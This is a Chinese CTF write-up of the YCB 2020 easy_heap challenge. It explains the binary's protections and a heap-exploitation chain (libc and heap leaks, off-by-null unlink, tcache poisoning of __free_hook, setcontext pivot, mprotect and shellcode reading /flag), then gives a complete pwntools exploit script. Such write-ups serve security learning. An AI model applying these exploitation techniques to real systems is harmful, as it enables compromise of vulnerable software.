YCB_2020_EASY_HEAP Writeup

目录

一、分析

首先查看题目保护:Full Relro,Canary found,NX enabled,PIE enabled

通过IDA查看main函数,程序主体就是一个简单的switch菜单,在while循环之前通过prctl开启了沙箱。使用seccomp-tools可以看到沙箱禁止了execve系统调用,无法使用system(’/bin/sh’)。因此可能需要通过构造ROP链达到orw读取flag文件。

接着看菜单内部:无法指定新增指针的index,但是此处有个小逻辑:若该index处储存的指针为空,则向这个index处存放下一个申请的指针。但是index指针为什么会空呢,因为在free的时候会将对应指针置空。这么一看似乎把UAF的路给堵死了。但是参考了大佬的方法以后发现,因为malloc以后不会改变chunk中的内容,所以我们可以先free,再malloc,之后就能获取到fd和bk了。

在新增的时候,没有限制chunk的大小,因此这里可以自由使用各种bin attack来进行攻击。其次,存在一个比较明显的off-by-null漏洞,在之后需要利用。

二、思路

由于保护全开,所以第一步必须得获取到libc的基地址。这里可以使用unsorted bin leak来进行获取。首先构造一个足够大的chunk,使其在free的时候直接进入unsorted bin而不是tcache bin。接着构造一个小chunk,使其在被free的时候不会合并到top chunk中。然后将chunk 0 free掉,再malloc同样大小的chunk获取到它的指针。接着通过show操作就可以读出fd(即main_arena附近)的地址了。由于该地址和libc_base的相对位置是固定的,因此可以通过gdb查看以后直接通过偏移量得到libc_base。

接着需要得到heap_base,来构造后面的ROP chain。利用刚刚的chunk 1,再加一个chunk 2,再新建一个chunk 3防止合并,然后将chunk 1和chunk 2依次合并。重新分配一个空间,这个时候由于LIFO,index 1会得到chunk 2的地址。而chunk 2的FD也就是tcache_next,即chunk 1的地址。根据这个地址和heap_base的偏移量(固定值)可以算出heap_base的值。

接着需要利用tcache poisoning实现任意地址写。但是这个技术(参考how2heap中的示例)最好需要有可利用的指针。而本题会对free的chunk进行指针的清空。所以绕个圈子:通过off-by-null实现前向unlink,使得fake chunk被合并,再malloc就会得到这个fake chunk的指针。而这个指针可以在原本的大chunk被free的时候保留下来,从而修改已经被free的大chunk中的内容。

利用刚刚的chunk 1和chunk 2,构造一个fake chunk,然后将chunk 3进行free,令其与fake chunk进行合并,再申请一块内存空间,得到fake chunk的指针。

接着,将事先准备好的chunk 5 free掉,然后再free chunk 1。通过chunk 3的指针对tcache_next进行修改,令其为free_hook的地址。然后将chunk 1和chunk 5申请回来。此时chunk 5的指针指向free_hook的地址。对chunk 5(free_hook)进行修改,令其指向我们需要的gadget。我们需要通过这个gadget来调用setcontext达到修改寄存器的目的,所以找到了这个:

1
# 0x00000000001547a0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]

它可以将

rdi+8rdi + 8

处的值赋给rdx,并且call

rdx+0x20rdx + 0x20

。而在free_hook运行到gadget的时候,这个rdi恰好是free的指针。所以我们构造chunk 0+8的位置写上chunk 0的地址,chunk 0+20的位置写上setcontext+61的地址。

setcontext会将rdx加上一系列的偏移的地址中的值放到各个寄存器中,包括rsp。所以可以在chunk 0中对应偏移的位置写入对应的值。具体可以见exp中最后一段edit(0)中的注释。接着setcontext函数返回,调用栈进入我在栈中构造的SYS_mprotect函数,并且已经通过寄存器构造好了相应的参数,使得堆中出现了一块可写的空间。

接着就可以继续通过ret调用堆上写好的shellcode了。由于这里不能用execve,我直接使用shellcraft自带的cat获取/flag。如果不能使用mprotect修改堆的可执行权限,这里也可以通过构造rop链来执行orw。

三、exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from pwn import *

context.log_level = "debug"
context.terminal = "kitty"
context.arch = 'amd64'
debug = True

if debug:
    sh = process("./pwn")
    libc = ELF("/home/lqz/pwn/glibc-all-in-one/libs/2.30-0ubuntu2_amd64/libc-2.30.so")
else:
    libc = ELF("/home/lqz/pwn/glibc-all-in-one/libs/2.30-0ubuntu2_amd64/libc-2.30.so")
    ip = "node4.buuoj.cn"
    port = 25335
    sh = remote(ip, port)


def menu(num):
    sh.sendlineafter(b"Choice:", str(num).encode())


def add(size):
    menu(1)
    sh.sendlineafter(b"Size: ", str(size).encode())
    sh.recvline_contains(b"Done!", timeout=0)


def edit(index, content):
    menu(2)
    sh.sendlineafter(b"Index: ", str(index).encode())
    sh.sendafter(b"Content: \n", content)
    sh.recvline_contains(b"Done!", timeout=0)


def dele(index):
    menu(3)
    sh.sendlineafter(b"Index: ", str(index).encode())
    sh.recvline_contains(b"Done!", timeout=0)


def show(index):
    menu(4)
    sh.sendlineafter(b"Index: ", str(index).encode())
    # sh.recvline_contains(b"Don not exist!", timeout=0)
    # Remember to receive Content: and [+]Done!


# Leak Heap
add(0x40F)  # 0
add(0x20)  # 1
add(0x20)  # 2
add(0x4F0)  # 3
add(0x10)  # 4
add(0x20)  # 5
dele(0)
add(0x40F)  # 0
show(0)
sh.recvuntil(b"Content: ")
main_arena = int.from_bytes(sh.recv(0x6), "little")
success("leak_addr(main_arena): " + hex(main_arena))
libc_base = main_arena - 0x70 - libc.sym["__malloc_hook"]
libc.address = libc_base
success("libc_base: " + hex(libc_base))
sh.recvuntil(b"[+]Done!\n")

# gdb.attach(sh)

dele(1)
dele(2)
add(0x28)  # 1
show(1)
sh.recvuntil(b"Content: ")
heap_base = int.from_bytes(sh.recv(0x6), "little") & 0xFFFFFFFFF000
success("heap_base: " + hex(heap_base))
sh.recvuntil(b"[+]Done!\n")
# gdb.attach(sh)

add(0x28)  # 2
edit(1, p64(heap_base+0x6c0)+0x18*b'a'+p64(0x50))
# 0->2->1->3->xxx chunks
edit(2, p64(0)+p64(0x51)+p64(heap_base+0x6f0-0x18)+p64(heap_base+0x6f0-0x10))

# gdb.attach(sh)

dele(3)
add(0x100) # 3
edit(3, flat({0x18:0x31}))

# gdb.attach(sh)

dele(5)
# gdb.attach(sh)
dele(1)
# gdb.attach(sh)

edit(3, flat({0x18:[
    0x31, p64(libc.sym['__free_hook'])[:7]
    ]}))
success("free_hook: "+hex(libc.sym['__free_hook']))
# gdb.attach(sh)
add(0x20) # 1 
add(0x20) # 5 
# 0x00000000001547a0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
edit(5, p64(libc_base + 0x0000000000154b90))

# gdb.attach(sh)
start_addr = heap_base + 0x2a0
edit(0, flat({
    0: start_addr + 0x100,
    0x8:start_addr,
    0x20: libc.sym['setcontext']+61, # gadget 2
    0xa0: start_addr, # rsp
    0xa8: libc.sym.mprotect, # rcx
    0x68: start_addr & ~0xfff, #rdi / SYS_mprotect_addr
    0x70: 0x4000, # rsi / SYS_mprotect_len
    0x88: 7, # rdx / SYS_mprotect_prot
    0x100: asm(shellcraft.amd64.linux.cat('/flag')),
    }, filler='\x00'))

gdb.attach(sh)

dele(0)


sh.interactive()